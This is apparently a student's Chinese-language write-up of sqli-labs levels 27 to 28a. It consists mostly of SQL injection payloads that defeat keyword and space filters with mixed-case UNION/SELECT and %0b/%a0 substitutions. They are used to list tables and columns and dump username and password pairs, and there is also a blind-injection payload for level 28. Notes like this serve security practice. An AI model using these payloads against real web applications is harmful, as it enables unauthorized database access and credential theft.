lesson27_28a
lesson27

因为没有报错的回显所以我们采用联合查询
又因为select和union又被过滤,所以我们采用uNion和sElect
?id=11111’ %0b uNion %0b sElect %0b 1,2,3 ||’1’=’1

?id=11111’ %0b uNion %0b sElect %0b 1,database(),3 ||’1’=’1

?id=11111’ %0b uNion %0b sElect %0b 1,(sElect(group_concat(table_name))from(information_schema.tables)where(table_schema=’security’)),3 ||’1’=’1

?id=11111’ %0b uNion %0b sElect %0b 1,(sElect(group_concat(column_name))from(information_schema.columns)where(table_name=’users’)),3 ||’1’=’1

?id=11111’ %0b uNion %0b sElect %0b 1,(sElect(group_concat(concat_ws(0x7e,username,password)))from(security.users)),3 ||’1’=’1

lesson27a
lesson27a是相同的方法,和lesson27一样
主要是空格用%a0或者%0b来代替
lesson 28
由
http://sqli-labs/Less-28/?id=1')||('1')=(‘1
是(’’)的包裹方式
我这里采用盲注来做,但是很多师傅的参考都是用联合查询来做的,我的sql-liblesson28抽风了,空格老是被注释了
?id=0’)||left(database(),2)=’se’;%00

盲注爆出库,表,列
lesson 28a
同样的payload,lesson28也可以做,所以跳过了